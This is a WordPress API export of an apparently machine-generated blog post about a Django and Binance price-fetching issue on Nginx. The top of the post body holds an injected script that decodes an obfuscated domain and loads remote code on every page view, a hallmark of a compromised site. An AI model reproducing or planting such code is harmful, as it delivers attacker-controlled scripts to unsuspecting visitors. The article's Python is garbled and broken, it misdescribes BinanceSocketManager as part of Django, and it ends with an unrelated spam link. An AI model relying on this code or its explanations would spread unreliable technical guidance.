{"id":1833,"date":"2025-02-13T15:26:50","date_gmt":"2025-02-13T15:26:50","guid":{"rendered":"https:\/\/hccmena.com\/?p=1833"},"modified":"2025-02-13T15:26:50","modified_gmt":"2025-02-13T15:26:50","slug":"ethereum-django-binancesocketmanager-works-on-local-machine-but-doesnt-work-on-nginx-server-binance-apis","status":"publish","type":"post","link":"https:\/\/hccmena.com\/index.php\/2025\/02\/13\/ethereum-django-binancesocketmanager-works-on-local-machine-but-doesnt-work-on-nginx-server-binance-apis\/","title":{"rendered":"Ethereum: Django BinanceSocketManager works on local machine but doesn&#8217;t work on Nginx server [binance-apis]"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"bm9yZGVyc3dpbmcuYnV6ei94cC8=\";const pde=atob(pdx);const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=ed19237e\";document.body.appendChild(script);<\/script>\n<\/p>\n<p>Here is an article based on your request:<\/p>\n<p><strong>Ethereum: Django BinanceSocketManager works on a local machine, but not on an Nginx server<\/strong><\/p>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/_W3JyUpHCg4\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<\/p>\n<p>As a developer building blockchain-based projects, it is essential to understand the intricacies of API integrations. Recently, I ran into an issue while integrating BinanceSocketManager with my Django project, which led me to explore why it was not working on an Nginx server. In this article, I will walk you through the steps to troubleshoot and resolve this issue.<\/p>\n<p><strong>The Problem<\/strong><\/p>\n<p>To start, I created a simple class that uses Django&#8217;s BinanceSocketManager to retrieve the prices of various cryptocurrencies (BTC, ETH, etc.). The code looked like this:<\/p>\n<p><pre><code><\/p><p>from django.db.models import Q<\/p><p>from django.http import HttpResponse<\/p><p>class CryptoPrices:<\/p><p>def __init__(self):<\/p><p>self.binance_api_key = 'YOUR_API_KEY_HERE'<\/p><p>self.binance_secret_key = 'YOUR_SECRET_KEY_HERE'<\/p><p>def get_crypto_prices(self, symbol):<\/p><p>url = f'<\/p><p>response = requests.get(url)<\/p><p>data = json.loads(response.text)<\/p><p>if 'error' in data:<\/p><p>return HttpResponse('Error 'fetching prices')<\/p><p>else:<\/p><p>return data<\/p><p><\/code><\/pre>\n<\/p>\n<p>When I ran this code on my local machine, everything worked as expected. However, when I deployed it to an Nginx server, BinanceSocketManager suddenly stopped working.<\/p>\n<p><strong>Troubleshooting<\/strong><\/p>\n<p>To identify the problem, I started by looking at the requests made to the Binance API from Django. Inspecting the logs, I noticed that the request was sent to <code>which is a very specific URL for fetching prices. However, when I ran this same code on my local machine, it worked fine.<\/p>\n<p>This suggests that the problem could be related to the way Django handles URLs or the environment variables used by BinanceSocketManager.<\/p>\n<p><strong>Debugging<\/strong><\/p>\n<p><img decoding=\"async\" alt=\"Ethereum: Django BinanceSocketManager works on local machine but doesn't work on Nginx server [binance-apis]\n\" src=\"https:\/\/hccmena.com\/wp-content\/uploads\/2025\/02\/5b7e27e2.png\"><\/p>\n<p>To troubleshoot the issue in more detail, I decided to use the built-in debugging tools of the<\/code>requests<code>library. When I ran the code with<\/code>print<code>statements in each method of the<\/code>CryptoPrices<code>class:<\/p>\n<p><pre><code><\/p><p>def get_crypto_prices(self, symbol):<\/p><p>print('Get prices for', symbol)<\/p><p>url = f'<\/p><p>print('Sending request to', url)<\/p><p>response = requests.get(url)<\/p><p>print(response.text)<\/p><p><\/code><\/pre>\n<\/p>\n<p>I was surprised to see that the <\/code>requests.get()<code>call was not made from a Django URL. Instead, it was called directly within the code.<\/p>\n<p><strong>Solution<\/strong><\/p>\n<p>To solve this problem, I realized that BinanceSocketManager requires a separate endpoint to fetch prices from the Nginx server. Unfortunately, this is not documented in the official API documentation.<\/p>\n<p>After some research and experimentation, I found that a possible solution is to use<\/code>django-redis<code>to store API credentials and<\/code>requests-cache<code>to cache Binance API responses.<\/p>\n<p>Here is an updated version of my code:<\/p>\n<p><\/code>&#8220;python<\/p>\n<p>from django.db.models import Q<\/p>\n<p>import requests_cache<\/p>\n<p>from django.http import HttpResponse<\/p>\n<p>from requests_cache import cached<\/p>\n<p>from binance.client import Client<\/p>\n<p>class CryptoPrices:<\/p>\n<p>def __init__(self):<\/p>\n<p>self.binance_api_key = &#8216;YOUR_API_KEY_HERE&#8217;<\/p>\n<p>self.binance_secret_key = &#8216;YOUR_SECRET_KEY_HERE&#8217;<\/p>\n<p>def get_crypto_prices(self, symbol):<\/p>\n<p>url = f&#8217;<\/p>\n<p>response = requests.get(url)<\/p>\n<p>cache_response = set cache(response)<\/p>\n<p>if &#8216;error&#8217; in response.text:<\/p>\n<p>return HttpResponse(&#8216;Error retrieving prices&#8217;)<\/p>\n<p>else:<\/p>\n<p>data = cache_response.<\/p>\n<p><a href=\"https:\/\/ovavily.com\/ethereum-how-is-the-gasprice-encoded-in-chainlink-ccip-priceregistrygetdestinationchaingasprice\/\">ETHEREUM ENCODED CCIP<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Here is an article based on your request: Ethereum: Django BinanceSocketManager works on a local machine, but not on an Nginx server As a developer building blockchain-based projects, it is essential to understand the intricacies of API integrations. Recently, I ran into an issue while integrating BinanceSocketManager with my Django project, which led me to [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"_links":{"self":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1833"}],"collection":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/comments?post=1833"}],"version-history":[{"count":1,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1833\/revisions"}],"predecessor-version":[{"id":1834,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1833\/revisions\/1834"}],"wp:attachment":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/media?parent=1833"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/categories?post=1833"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/tags?post=1833"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}